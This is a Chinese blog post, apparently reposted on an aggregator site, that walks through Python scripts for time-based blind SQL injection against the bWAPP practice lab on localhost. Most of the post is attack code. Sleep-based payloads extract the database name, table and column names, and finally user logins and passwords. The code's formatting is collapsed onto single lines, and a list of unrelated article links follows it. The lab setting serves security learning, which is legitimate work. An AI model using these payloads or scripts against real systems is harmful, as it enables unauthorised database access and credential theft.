当前位置: 首页 > news >正文

sql盲注python脚本学习 (基于bWAPP靶场)

全局部分 

# 数组转字符串
from shlex import join
# 请求
import requests
# 记时
import timer = requests.session()

登录 

def login():login_url = 'http://127.0.0.1:1234/login.php'params = dict(login='bee',password='bug',security_level=0,form='submit')res = r.post(login_url, params)print(res) # 返回的响应码

获取当前库名

def get_db_name_length():len = 1while(1):sql_str = f"1' or if(length(database())={len},sleep(1),1) -- "url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'start = time.time()r.get(url)if (time.time()-start)>1: return lenlen+=1def get_db_name(max):db_name = [''] * maxfor len in range(1,max+1,1):ACI = 48while(ACI<128):sql_str = f"1' or if(ascii(substr(database(),{len},1))={ACI},sleep(1),1) -- "url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'start = time.time()r.get(url)if (time.time() - start) > 1:db_name[len-1]=chr(ACI)breakACI +=1return db_namedb_name = get_db_name(get_db_name_length())
print(join(db_name))
# 结果:b W A P P

获取全部表名

def get_table_name_length():len = 1while(1):sql_str = f"1' or if(length((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'))={len},sleep(1),1) -- "url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'start = time.time()r.get(url)if (time.time()-start)>1:return lenlen+=1def get_table_name(max):table_name = [''] * maxfor len in range(1,max+1,1):ACI = 48while(ACI<128):sql_str = f"1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),{len},1))={ACI},sleep(1),1) -- "url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'start = time.time()r.get(url)if (time.time() - start) > 1:print(chr(ACI))table_name[len-1]=chr(ACI)breakACI +=1return table_nametable_name=get_table_name(get_table_name_length())
print(join(table_name))
# 结果:b l o g '' h e r o e s '' m o v i e s '' u s e r s '' v i s i t o r s

获取字段名

仅仅更改sql_str

sql_str = f"1' or if(length((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'))=
{len},sleep(1),1) -- "sql_str = f"1' or if(ascii(substr((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'),
{len},1))={ACI},sleep(1),1) -- "

获取用户信息

def get_users_passwd():cou = 1while (1):sql_str = f"1' or if(length((select group_concat(concat(login,'-',password)) from bWAPP.users))={cou},sleep(0.1),1) -- "url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'start = time.time()r.get(url)if (time.time() - start) > 1:print(cou)breakcou+=1user_str = ['']*coufor x in range(1,cou,1):ACI = 48while (ACI < 128):sql_str = f"1' or if(ascii(substr((select group_concat(concat(login,'-',password)) from bWAPP.users),{x},1))={ACI},sleep(0.1),1) -- "url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'start = time.time()r.get(url)if (time.time() - start) > 1:print(chr(ACI))user_str[x-1]=chr(ACI)breakACI+=1return join(user_str)

相关文章:

  • 谈谈hash算法
  • Leetcode-day31-01背包问题
  • 《Programming from the Ground Up》阅读笔记:p103-p116
  • Linux内核定时器
  • Java--Zuul网关中的过滤器
  • AIGC深度学习教程:Transformer模型中的Position Embedding实现与应用
  • IO与进程
  • 通信系统收发原理冷知识
  • Datawhale X 李宏毅苹果书 AI夏令营(深度学习入门)taks2
  • 跟《经济学人》学英文:2024年08月24日这期 What to make of America’s topsy-turvy economy
  • centos7安装Kafka单节点环境部署三-安装Logstash
  • MURF860AC-ASEMI智能AI专用MURF860AC
  • 虚幻游戏开发| 编辑器内正常运行但打包出错
  • 高级java每日一道面试题-2024年8月23日-框架篇[SpringBoot篇]-什么是JavaConfig?
  • ACM模式下算法题输入输出攻略【C++】
  • [ JavaScript ] 数据结构与算法 —— 链表
  • [ 一起学React系列 -- 8 ] React中的文件上传
  • AWS实战 - 利用IAM对S3做访问控制
  • HomeBrew常规使用教程
  • Invalidate和postInvalidate的区别
  • JavaScript HTML DOM
  • Java方法详解
  • java中具有继承关系的类及其对象初始化顺序
  • JS题目及答案整理
  • Laravel核心解读--Facades
  • Linux CTF 逆向入门
  • MD5加密原理解析及OC版原理实现
  • Mithril.js 入门介绍
  • Puppeteer:浏览器控制器
  • React 快速上手 - 06 容器组件、展示组件、操作组件
  • SAP云平台运行环境Cloud Foundry和Neo的区别
  • Vim 折腾记
  • vue+element后台管理系统,从后端获取路由表,并正常渲染
  • 工程优化暨babel升级小记
  • 基于Vue2全家桶的移动端AppDEMO实现
  • 简单数学运算程序(不定期更新)
  • 每天一个设计模式之命令模式
  • 前端相关框架总和
  • 微信小程序:实现悬浮返回和分享按钮
  • puppet连载22:define用法
  • Spring第一个helloWorld
  • ​Java并发新构件之Exchanger
  • ​Z时代时尚SUV新宠:起亚赛图斯值不值得年轻人买?
  • ​什么是bug?bug的源头在哪里?
  • # 再次尝试 连接失败_无线WiFi无法连接到网络怎么办【解决方法】
  • #162 (Div. 2)
  • $forceUpdate()函数
  • (20)docke容器
  • (第8天)保姆级 PL/SQL Developer 安装与配置
  • (二开)Flink 修改源码拓展 SQL 语法
  • (附源码)springboot学生选课系统 毕业设计 612555
  • (回溯) LeetCode 131. 分割回文串
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (免费领源码)Python#MySQL图书馆管理系统071718-计算机毕业设计项目选题推荐
  • (十八)devops持续集成开发——使用docker安装部署jenkins流水线服务